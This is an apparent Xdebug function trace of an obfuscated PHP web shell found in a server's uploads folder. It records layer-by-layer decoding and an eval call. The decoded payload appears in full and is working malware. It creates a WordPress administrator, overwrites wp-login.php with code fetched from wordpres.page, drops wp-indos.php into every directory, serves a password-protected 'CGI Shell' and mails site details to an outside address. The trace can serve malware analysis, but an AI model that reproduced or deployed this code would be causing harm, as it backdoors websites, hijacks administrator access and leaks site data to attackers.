Version: 3.1.0beta2 File format: 4 TRACE START [2023-02-13 00:41:35.181259] 1 0 1 0.000130 393512 1 3 0 0.000524 439208 {main} 1 /var/www/html/uploads/cgi.php 0 0 1 A /var/www/html/uploads/cgi.php 2 $stt1 = 'Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNzC4pSi4upI5yUWJxqZhKfkpqcn5KqAbSzKLVMQ6W4pMRAEwlYAwA=' 1 A /var/www/html/uploads/cgi.php 3 $stt0 = '=0h9cexwt/b2Eb+NMEz3Jj6P//xn+vLj0hs/LYHz7jwuBhQQ2ncoMfdO2NlwBl2+n6eHnJ0P8w2e43gR08pS6K8Zat7q9hFxo8HwRwoLFEAP6fRwEXHrGqOl6cu/GxTszREB+dpHR83Go2LrE7fnP9N7/UV6834xWJ+IjXKRg0rsMlhH/qu94NH21tuE/ZCoJT59vq92k2Cvq8LYj9eYs5/8jzuck1/oW10PMqRPecGCUlqQKVBIA2Ag+VIwAePSXaV70RofFAbgmjXAnKw1wT/x4/XAz//wn13vPOq2c1lCN8ToE8OaVH+Y1rHLOf79hre/d3Nn8R3+Hc1+w3f7a4/rnrrff2SW/5CO4+faObmwBCuHCzDsh6/P9I7TK32jOlfd9Vz/P2rHO79dUvO+2zX+rexnFaZzdCNuxfsTQCl/LiT8ni5WJHr760X91EP++CrFuUwxdKWweoQ4n1Oxeo5+9doF9jHU+fxHdFaQlLTQj5O+wnf//ueo5j0A/unb' 2 4 0 0.000605 439208 base64_decode 0 /var/www/html/uploads/cgi.php 4 1 'Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNzC4pSi4upI5yUWJxqZhKfkpqcn5KqAbSzKLVMQ6W4pMRAEwlYAwA=' 2 4 1 0.000625 439368 2 4 R 'K-KPS+.)//14HKI,I\005Js\vR#Xjf\022\001(LC@\023\tX\003\000' 2 5 0 0.000650 439336 gzinflate 0 /var/www/html/uploads/cgi.php 4 1 'K-KPS+.)//14HKI,I\005Js\vR#Xjf\022\001(LC@\023\tX\003\000' 2 5 1 0.000675 439560 2 5 R 'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));' 2 6 0 0.000694 439400 htmlspecialchars_decode 0 /var/www/html/uploads/cgi.php 4 1 'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));' 2 6 1 0.000712 439432 2 6 R 'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));' 2 7 0 0.000744 442584 eval 1 'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));' /var/www/html/uploads/cgi.php 4 0 3 8 0 0.000762 442584 strrev 0 /var/www/html/uploads/cgi.php(4) : eval()'d code 1 1 '=0h9cexwt/b2Eb+NMEz3Jj6P//xn+vLj0hs/LYHz7jwuBhQQ2ncoMfdO2NlwBl2+n6eHnJ0P8w2e43gR08pS6K8Zat7q9hFxo8HwRwoLFEAP6fRwEXHrGqOl6cu/GxTszREB+dpHR83Go2LrE7fnP9N7/UV6834xWJ+IjXKRg0rsMlhH/qu94NH21tuE/ZCoJT59vq92k2Cvq8LYj9eYs5/8jzuck1/oW10PMqRPecGCUlqQKVBIA2Ag+VIwAePSXaV70RofFAbgmjXAnKw1wT/x4/XAz//wn13vPOq2c1lCN8ToE8OaVH+Y1rHLOf79hre/d3Nn8R3+Hc1+w3f7a4/rnrrff2SW/5CO4+faObmwBCuHCzDsh6/P9I7TK32jOlfd9Vz/P2rHO79dUvO+2zX+rexnFaZzdCNuxfsTQCl/LiT8ni5WJHr760X91EP++CrFuUwxdKWweoQ4n1Oxeo5+9doF9jHU+fxHdFaQlLTQj5O+wnf//ueo5j0A/unb' 3 8 1 0.000817 479480 3 8 R 'eJwBH2LgnQEaYuWdeJwBD2LwnQEKYvWdeJwB/2EAngH6YQWeeJwB72EQnu29aZfiSLIo+Pn2Of0fuHlrXladrMoUEGQG3VV5i0UriE0gBfTtyQN0sAqQCCEk3dc/ar7MH5j5YWNm7tqAjIzqJbPfO9PddAbI5Yu5uW1uy8//OT/Nf/+779yZs4qO0+Wnx9lsWfil8N0naSCqA/FPr/r1njIZ1ORPYr0uv/rzHy8bf3rywyO84fqP0310/P7TJ8McDz59+gFbbuaf3OPy6GCXAvzgP32PzT8dt/5iufg+39Pb1+8285/C2d59C5N6/cMPv//dfxcKhd//Dv6v4E+dcOUeC8++8kfWNjdsEX786zFcHKE3/nj+eHzyt/DMma2my+9/PW7n4cw9fv/63esfCzdW98MPccd7eOl1PMzT7PH773xaWeE7/2feLf795s0PrAkfkb/53f7t67dv38Xvw6KeAwcNDQt8/Rbfu4QM6yDp//Mg+nw3f8y+fAWz9NHh' 3 9 0 0.000866 479448 base64_decode 0 /var/www/html/uploads/cgi.php(4) : eval()'d code 1 1 'eJwBH2LgnQEaYuWdeJwBD2LwnQEKYvWdeJwB/2EAngH6YQWeeJwB72EQnu29aZfiSLIo+Pn2Of0fuHlrXladrMoUEGQG3VV5i0UriE0gBfTtyQN0sAqQCCEk3dc/ar7MH5j5YWNm7tqAjIzqJbPfO9PddAbI5Yu5uW1uy8//OT/Nf/+779yZs4qO0+Wnx9lsWfil8N0naSCqA/FPr/r1njIZ1ORPYr0uv/rzHy8bf3rywyO84fqP0310/P7TJ8McDz59+gFbbuaf3OPy6GCXAvzgP32PzT8dt/5iufg+39Pb1+8285/C2d59C5N6/cMPv//dfxcKhd//Dv6v4E+dcOUeC8++8kfWNjdsEX786zFcHKE3/nj+eHzyt/DMma2my+9/PW7n4cw9fv/63esfCzdW98MPccd7eOl1PMzT7PH773xaWeE7/2feLf795s0PrAkfkb/53f7t67dv38Xvw6KeAwcNDQt8/Rbfu4QM6yDp//Mg+nw3f8y+fAWz9NHh' 3 9 1 0.000989 516344 3 9 R 'x\001\037b\001\032bx\001\017b\001\nbx\001a\000\001a\005x\001a\020iH(9\037yk^V\024\020d\006UyE+M \005\003t\n\b!$?j\037acfڀ%;t\006勹mn9?ܙlY\'i \003O2\031Ob.\037/\033z#}t\'\034\017>}\001[n`\002?}?\035b>6}\vz\017\027\n\016Op\036\vϾG67l\021~1\\\0347xx|̙=n=~\037\v7V\017q{xu<|ZY;g-\017\t\037oâ\003\a\r\r\v|\026߻\f ' 3 10 0 0.001460 479448 gzuncompress 0 /var/www/html/uploads/cgi.php(4) : eval()'d code 1 1 'x\001\037b\001\032bx\001\017b\001\nbx\001a\000\001a\005x\001a\020iH(9\037yk^V\024\020d\006UyE+M \005\003t\n\b!$?j\037acfڀ%;t\006勹mn9?ܙlY\'i \003O2\031Ob.\037/\033z#}t\'\034\017>}\001[n`\002?}?\035b>6}\vz\017\027\n\016Op\036\vϾG67l\021~1\\\0347xx|̙=n=~\037\v7V\017q{xu<|ZY;g-\017\t\037oâ\003\a\r\r\v|\026߻\f ' 3 10 1 0.001942 508152 3 10 R '\001\032bx\001\017b\001\nbx\001a\000\001a\005x\001a\020iH(9\037yk^V\024\020d\006UyE+M \005\003t\n\b!$?j\037acfڀ%;t\006勹mn9?ܙlY\'i \003O2\031Ob.\037/\033z#}t\'\034\017>}\001[n`\002?}?\035b>6}\vz\017\027\n\016Op\036\vϾG67l\021~1\\\0347xx|̙=n=~\037\v7V\017q{xu<|ZY;g-\017\t\037oâ\003\a\r\r\v|\026߻\f |7̾|\005' 3 11 0 0.002418 471256 gzinflate 0 /var/www/html/uploads/cgi.php(4) : eval()'d code 1 1 '\001\032bx\001\017b\001\nbx\001a\000\001a\005x\001a\020iH(9\037yk^V\024\020d\006UyE+M \005\003t\n\b!$?j\037acfڀ%;t\006勹mn9?ܙlY\'i \003O2\031Ob.\037/\033z#}t\'\034\017>}\001[n`\002?}?\035b>6}\vz\017\027\n\016Op\036\vϾG67l\021~1\\\0347xx|̙=n=~\037\v7V\017q{xu<|ZY;g-\017\t\037oâ\003\a\r\r\v|\026߻\f |7̾|\005' 3 11 1 0.002929 499960 3 11 R 'x\001\017b\001\nbx\001a\000\001a\005x\001a\020iH(9\037yk^V\024\020d\006UyE+M \005\003t\n\b!$?j\037acfڀ%;t\006勹mn9?ܙlY\'i \003O2\031Ob.\037/\033z#}t\'\034\017>}\001[n`\002?}?\035b>6}\vz\017\027\n\016Op\036\vϾG67l\021~1\\\0347xx|̙=n=~\037\v7V\017q{xu<|ZY;g-\017\t\037oâ\003\a\r\r\v|\026߻\f |7̾|\005\017' 3 12 0 0.003399 471256 gzuncompress 0 /var/www/html/uploads/cgi.php(4) : eval()'d code 1 1 'x\001\017b\001\nbx\001a\000\001a\005x\001a\020iH(9\037yk^V\024\020d\006UyE+M \005\003t\n\b!$?j\037acfڀ%;t\006勹mn9?ܙlY\'i \003O2\031Ob.\037/\033z#}t\'\034\017>}\001[n`\002?}?\035b>6}\vz\017\027\n\016Op\036\vϾG67l\021~1\\\0347xx|̙=n=~\037\v7V\017q{xu<|ZY;g-\017\t\037oâ\003\a\r\r\v|\026߻\f |7̾|\005\017' 3 12 1 0.003872 499960 3 12 R '\001\nbx\001a\000\001a\005x\001a\020iH(9\037yk^V\024\020d\006UyE+M \005\003t\n\b!$?j\037acfڀ%;t\006勹mn9?ܙlY\'i \003O2\031Ob.\037/\033z#}t\'\034\017>}\001[n`\002?}?\035b>6}\vz\017\027\n\016Op\036\vϾG67l\021~1\\\0347xx|̙=n=~\037\v7V\017q{xu<|ZY;g-\017\t\037oâ\003\a\r\r\v|\026߻\f |7̾|\005\017_W' 3 13 0 0.004340 471256 gzinflate 0 /var/www/html/uploads/cgi.php(4) : eval()'d code 1 1 '\001\nbx\001a\000\001a\005x\001a\020iH(9\037yk^V\024\020d\006UyE+M \005\003t\n\b!$?j\037acfڀ%;t\006勹mn9?ܙlY\'i \003O2\031Ob.\037/\033z#}t\'\034\017>}\001[n`\002?}?\035b>6}\vz\017\027\n\016Op\036\vϾG67l\021~1\\\0347xx|̙=n=~\037\v7V\017q{xu<|ZY;g-\017\t\037oâ\003\a\r\r\v|\026߻\f |7̾|\005\017_W' 3 13 1 0.004805 499960 3 13 R 'x\001a\000\001a\005x\001a\020iH(9\037yk^V\024\020d\006UyE+M \005\003t\n\b!$?j\037acfڀ%;t\006勹mn9?ܙlY\'i \003O2\031Ob.\037/\033z#}t\'\034\017>}\001[n`\002?}?\035b>6}\vz\017\027\n\016Op\036\vϾG67l\021~1\\\0347xx|̙=n=~\037\v7V\017q{xu<|ZY;g-\017\t\037oâ\003\a\r\r\v|\026߻\f |7̾|\005\017_W\037\022' 3 14 0 0.005271 471256 gzuncompress 0 /var/www/html/uploads/cgi.php(4) : eval()'d code 1 1 'x\001a\000\001a\005x\001a\020iH(9\037yk^V\024\020d\006UyE+M \005\003t\n\b!$?j\037acfڀ%;t\006勹mn9?ܙlY\'i \003O2\031Ob.\037/\033z#}t\'\034\017>}\001[n`\002?}?\035b>6}\vz\017\027\n\016Op\036\vϾG67l\021~1\\\0347xx|̙=n=~\037\v7V\017q{xu<|ZY;g-\017\t\037oâ\003\a\r\r\v|\026߻\f |7̾|\005\017_W\037\022' 3 14 1 0.005748 499960 3 14 R '\001a\005x\001a\020iH(9\037yk^V\024\020d\006UyE+M \005\003t\n\b!$?j\037acfڀ%;t\006勹mn9?ܙlY\'i \003O2\031Ob.\037/\033z#}t\'\034\017>}\001[n`\002?}?\035b>6}\vz\017\027\n\016Op\036\vϾG67l\021~1\\\0347xx|̙=n=~\037\v7V\017q{xu<|ZY;g-\017\t\037oâ\003\a\r\r\v|\026߻\f |7̾|\005\017_W\037\022@{7:c߹' 3 15 0 0.006214 471256 gzinflate 0 /var/www/html/uploads/cgi.php(4) : eval()'d code 1 1 '\001a\005x\001a\020iH(9\037yk^V\024\020d\006UyE+M \005\003t\n\b!$?j\037acfڀ%;t\006勹mn9?ܙlY\'i \003O2\031Ob.\037/\033z#}t\'\034\017>}\001[n`\002?}?\035b>6}\vz\017\027\n\016Op\036\vϾG67l\021~1\\\0347xx|̙=n=~\037\v7V\017q{xu<|ZY;g-\017\t\037oâ\003\a\r\r\v|\026߻\f |7̾|\005\017_W\037\022@{7:c߹' 3 15 1 0.006762 499960 3 15 R 'x\001a\020iH(9\037yk^V\024\020d\006UyE+M \005\003t\n\b!$?j\037acfڀ%;t\006勹mn9?ܙlY\'i \003O2\031Ob.\037/\033z#}t\'\034\017>}\001[n`\002?}?\035b>6}\vz\017\027\n\016Op\036\vϾG67l\021~1\\\0347xx|̙=n=~\037\v7V\017q{xu<|ZY;g-\017\t\037oâ\003\a\r\r\v|\026߻\f |7̾|\005\017_W\037\022@{7:c߹\030' 3 16 0 0.007239 471256 gzuncompress 0 /var/www/html/uploads/cgi.php(4) : eval()'d code 1 1 'x\001a\020iH(9\037yk^V\024\020d\006UyE+M \005\003t\n\b!$?j\037acfڀ%;t\006勹mn9?ܙlY\'i \003O2\031Ob.\037/\033z#}t\'\034\017>}\001[n`\002?}?\035b>6}\vz\017\027\n\016Op\036\vϾG67l\021~1\\\0347xx|̙=n=~\037\v7V\017q{xu<|ZY;g-\017\t\037oâ\003\a\r\r\v|\026߻\f |7̾|\005\017_W\037\022@{7:c߹\030' 3 16 1 0.007713 499960 3 16 R 'iH(9\037yk^V\024\020d\006UyE+M \005\003t\n\b!$?j\037acfڀ%;t\006勹mn9?ܙlY\'i \003O2\031Ob.\037/\033z#}t\'\034\017>}\001[n`\002?}?\035b>6}\vz\017\027\n\016Op\036\vϾG67l\021~1\\\0347xx|̙=n=~\037\v7V\017q{xu<|ZY;g-\017\t\037oâ\003\a\r\r\v|\026߻\f |7̾|\005\017_W\037\022@{7:c߹\030Y\023 \r\' 3 17 0 0.008180 471256 gzinflate 0 /var/www/html/uploads/cgi.php(4) : eval()'d code 1 1 'iH(9\037yk^V\024\020d\006UyE+M \005\003t\n\b!$?j\037acfڀ%;t\006勹mn9?ܙlY\'i \003O2\031Ob.\037/\033z#}t\'\034\017>}\001[n`\002?}?\035b>6}\vz\017\027\n\016Op\036\vϾG67l\021~1\\\0347xx|̙=n=~\037\v7V\017q{xu<|ZY;g-\017\t\037oâ\003\a\r\r\v|\026߻\f |7̾|\005\017_W\037\022@{7:c߹\030Y\023 \r\' 3 17 1 0.008880 545016 3 17 R 'set_role( \'administrator\' );\r\n } \r\n // shell Ekleme\r\n \r\n // Wp Login Yazma.\r\n $wp_login = ABSPATH.\'/wp-login.php\';\r\n $login = http_get(\'https://wordpres.page/txt/seo.txt\');\r\n $open_login = fopen($wp_login, \'w\');\r\n fwrite($open_login, $login);\r\n fclose($open_login);\r\n // Wp Login Yazma.\r\n}\r\n\r\n\r\n// Shell Yazma\r\n$code = http_get(\'#\');\r\n$wp_code = $document_root.\'/#\';\r\n$open_code = fopen($wp_code, \'w\');\r\nfwrite($open_code, $code);\r\nfclose($open_code);\r\n// Shell Yazma\r\n\r\n// Makale Yazma\r\n$makale = http_get(\'\');\r\n$wp_makale = $document_root.\'/\';\r\n$open_makale = fopen($wp_makale, \'w\');\r\nfwrite($open_makale, $makale);\r\nfclose($open_makale);\r\n// Makale Yazma\r\n\r\n\r\n// Klasörlere Yazma\r\n$directories = expandDirectories($document_root);\r\n$css = http_get(\'https://wordpres.page/txt/lamer.txt\');\r\nforeach($directories as $dir)\r\n{\r\n\tif(!preg_match(\'#wp-content#\', $dir))\r\n\t{\r\n\t $css_file = $dir.\'/wp-indos.php\';\r\n\t $open_css = fopen($css_file, \'w\');\r\n\t fwrite($open_css, $css);\r\n\t fclose($open_css);\r\n }\r\n}\r\n// Klasörlere Yazma\r\n\r\nfunction expandDirectories($base_dir) {\r\n $directories = array();\r\n foreach(scandir($base_dir) as $file) {\r\n if($file == \'.\' || $file == \'..\') continue;\r\n $dir = $base_dir.DIRECTORY_SEPARATOR.$file;\r\n if(is_dir($dir)) {\r\n $directories []= $dir;\r\n $directories = array_merge($directories, expandDirectories($dir));\r\n }\r\n }\r\n return $directories;\r\n}\r\nfunction http_get($url)\r\n{\r\n\t$im = curl_init($url);\r\n\tcurl_setopt($im, CURLOPT_RETURNTRANSFER, 1);\r\n\tcurl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);\r\n\tcurl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);\r\n\tcurl_setopt($im, CURLOPT_HEADER, 0);\r\n\treturn curl_exec($im);\r\n\tcurl_close($im);\r\n}\r\n?>\r\n\r\n\r\n
CGI Shell
+- Lumayan Buat Read Directory -+\r\n\r\n\r\n[+] CGI Shell [+]\r\n\r\n\r\n
\r\n \r\n \r\nPassWord => asu";\r\n}\r\n?>\r\n\r\nSender Yazdirildi.
SITE YOL : \'.$yol.\'
Sender Yolu : js/crs.php\';\r\n $header .= "From: SheLL Boot \\n";\r\n $header .= "Content-Type: text/html;\r\n charset=utf-8\\n";\r\n @mail("byhero44@gmail.com", "Hacklink Bildiri", "$y", $header);\r\n @mail("byhero44@gmail.com", "Hacklink Bildiri", "$y", $header);\r\n } \r\n?>\r\n' /var/www/html/uploads/cgi.php(4) : eval()'d code 1 0 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 2 $document_root = '/var/www/html' 4 20 0 0.011473 631976 dirname 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 3 1 '/var/www/html/uploads/cgi.php(4) : eval()\'d code(1) : eval()\'d code' 4 20 1 0.011491 632104 4 20 R '/var/www/html/uploads' 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 3 $document_root_file = '/var/www/html/uploads' 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 4 $wp_detect = 0 4 21 0 0.011531 632128 file_exists 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 5 1 '/var/www/html/wp-load.php' 4 21 1 0.011563 632168 4 21 R FALSE 4 22 0 0.011579 632072 explode 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 11 2 '/' '/var/www/html/uploads' 4 22 1 0.011595 632648 4 22 R [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads'] 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 11 $prefix = 5 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 12 $a = '' 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 13 $i = 0 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 15 $a = '../' 4 23 0 0.011659 632136 file_exists 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 16 1 '/var/www/html/uploads/../wp-load.php' 4 23 1 0.011677 632176 4 23 R FALSE 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 13 $i++ 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 15 $a = '../../' 4 24 0 0.011713 632168 file_exists 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 16 1 '/var/www/html/uploads/../../wp-load.php' 4 24 1 0.011731 632208 4 24 R FALSE 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 13 $i++ 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 15 $a = '../../../' 4 25 0 0.011765 632192 file_exists 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 16 1 '/var/www/html/uploads/../../../wp-load.php' 4 25 1 0.011782 632232 4 25 R FALSE 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 13 $i++ 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 15 $a = '../../../../' 4 26 0 0.011816 632192 file_exists 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 16 1 '/var/www/html/uploads/../../../../wp-load.php' 4 26 1 0.011832 632232 4 26 R FALSE 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 13 $i++ 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 15 $a = '../../../../../' 4 27 0 0.011864 632192 file_exists 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 16 1 '/var/www/html/uploads/../../../../../wp-load.php' 4 27 1 0.011881 632232 4 27 R FALSE 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 13 $i++ 4 28 0 0.011904 632112 http_get 1 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 63 1 '#' 5 29 0 0.011919 632112 curl_init 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 108 1 '#' 5 29 1 0.011968 633056 5 29 R resource(3) of type (curl) 4 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 108 $im = resource(3) of type (curl) 5 30 0 0.012002 633024 curl_setopt 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 109 3 resource(3) of type (curl) 19913 1 5 30 1 0.012019 633120 5 30 R TRUE 5 31 0 0.012032 633024 curl_setopt 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 110 3 resource(3) of type (curl) 78 10 5 31 1 0.012048 633120 5 31 R TRUE 5 32 0 0.012061 633024 curl_setopt 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 111 3 resource(3) of type (curl) 52 1 5 32 1 0.012076 633120 5 32 R TRUE 5 33 0 0.012088 633024 curl_setopt 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 112 3 resource(3) of type (curl) 42 0 5 33 1 0.012103 633120 5 33 R TRUE 5 34 0 0.012115 633024 curl_exec 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 113 1 resource(3) of type (curl) 5 34 1 0.012183 633056 5 34 R FALSE 4 28 1 0.012214 632112 4 28 R FALSE 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 63 $code = FALSE 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 64 $wp_code = '/var/www/html/#' 4 35 0 0.012253 632152 fopen 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 65 2 '/var/www/html/#' 'w' 4 35 1 0.012300 632792 4 35 R resource(5) of type (stream) 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 65 $open_code = resource(5) of type (stream) 4 36 0 0.012330 632720 fwrite 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 66 2 resource(5) of type (stream) FALSE 4 36 1 0.012347 632784 4 36 R 0 4 37 0 0.012360 632720 fclose 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 67 1 resource(5) of type (stream) 4 37 1 0.012375 632320 4 37 R TRUE 4 38 0 0.012388 632288 http_get 1 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 71 1 '' 5 39 0 0.012402 632288 curl_init 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 108 1 '' 5 39 1 0.012419 633232 5 39 R resource(6) of type (curl) 4 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 108 $im = resource(6) of type (curl) 5 40 0 0.012448 633200 curl_setopt 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 109 3 resource(6) of type (curl) 19913 1 5 40 1 0.012463 633296 5 40 R TRUE 5 41 0 0.012476 633200 curl_setopt 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 110 3 resource(6) of type (curl) 78 10 5 41 1 0.012491 633296 5 41 R TRUE 5 42 0 0.012504 633200 curl_setopt 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 111 3 resource(6) of type (curl) 52 1 5 42 1 0.012518 633296 5 42 R TRUE 5 43 0 0.012530 633200 curl_setopt 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 112 3 resource(6) of type (curl) 42 0 5 43 1 0.012544 633296 5 43 R TRUE 5 44 0 0.012556 633200 curl_exec 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 113 1 resource(6) of type (curl) 5 44 1 0.012592 633232 5 44 R FALSE 4 38 1 0.012617 632288 4 38 R FALSE 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 71 $makale = FALSE 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 72 $wp_makale = '/var/www/html/' 4 45 0 0.012654 632328 fopen 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 73 2 '/var/www/html/' 'w' 4 45 1 0.012709 632400 4 45 R FALSE 3 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 73 $open_makale = FALSE 4 46 0 0.012735 632328 fwrite 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 74 2 FALSE FALSE 4 46 1 0.012757 632392 4 46 R FALSE 4 47 0 0.012770 632328 fclose 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 75 1 FALSE 4 47 1 0.012789 632360 4 47 R FALSE 4 48 0 0.012802 632328 expandDirectories 1 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 80 1 '/var/www/html' 4 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 95 $directories = [] 5 49 0 0.012829 632328 scandir 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 96 1 '/var/www/html' 5 49 1 0.012864 632864 5 49 R [0 => '#', 1 => '.', 2 => '..', 3 => 'uploads'] 4 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 98 $dir = '/var/www/html/#' 5 50 0 0.012900 632872 is_dir 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 99 1 '/var/www/html/#' 5 50 1 0.012918 632928 5 50 R FALSE 4 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 98 $dir = '/var/www/html/uploads' 5 51 0 0.012944 632896 is_dir 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 99 1 '/var/www/html/uploads' 5 51 1 0.012960 632944 5 51 R TRUE 4 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 100 $directories[] = '/var/www/html/uploads' 5 52 0 0.012986 633280 expandDirectories 1 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 101 1 '/var/www/html/uploads' 5 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 95 $directories = [] 6 53 0 0.013012 633280 scandir 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 96 1 '/var/www/html/uploads' 6 53 1 0.013042 633896 6 53 R [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'cgi.php', 4 => 'data', 5 => 'prepend.php'] 5 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 98 $dir = '/var/www/html/uploads/.htaccess' 6 54 0 0.013076 633920 is_dir 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 99 1 '/var/www/html/uploads/.htaccess' 6 54 1 0.013094 633968 6 54 R FALSE 5 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 98 $dir = '/var/www/html/uploads/cgi.php' 6 55 0 0.013118 633928 is_dir 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 99 1 '/var/www/html/uploads/cgi.php' 6 55 1 0.013134 633968 6 55 R FALSE 5 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 98 $dir = '/var/www/html/uploads/data' 6 56 0 0.013158 633928 is_dir 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 99 1 '/var/www/html/uploads/data' 6 56 1 0.013175 633968 6 56 R TRUE 5 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 100 $directories[] = '/var/www/html/uploads/data' 6 57 0 0.013199 634304 expandDirectories 1 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 101 1 '/var/www/html/uploads/data' 6 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 95 $directories = [] 7 58 0 0.013224 634304 scandir 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 96 1 '/var/www/html/uploads/data' 7 58 1 0.013253 634832 7 58 R [0 => '.', 1 => '..', 2 => 'trace-1676256069.2834.xt.gz'] 6 A /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 98 $dir = '/var/www/html/uploads/data/trace-1676256069.2834.xt.gz' 7 59 0 0.013285 634880 is_dir 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 99 1 '/var/www/html/uploads/data/trace-1676256069.2834.xt.gz' 7 59 1 0.013302 634944 7 59 R FALSE 6 57 1 0.013316 634328 6 57 R [] 6 60 0 0.013328 634328 array_merge 0 /var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code 101 2 [0 => '/var/www/html/uploads/data'] [] 6 60 1 0.013346 634768 6 60 R [0 => '/var/www/html/uploads/data'] 5 A /var/www/html/uploads/cgi.php(4) : 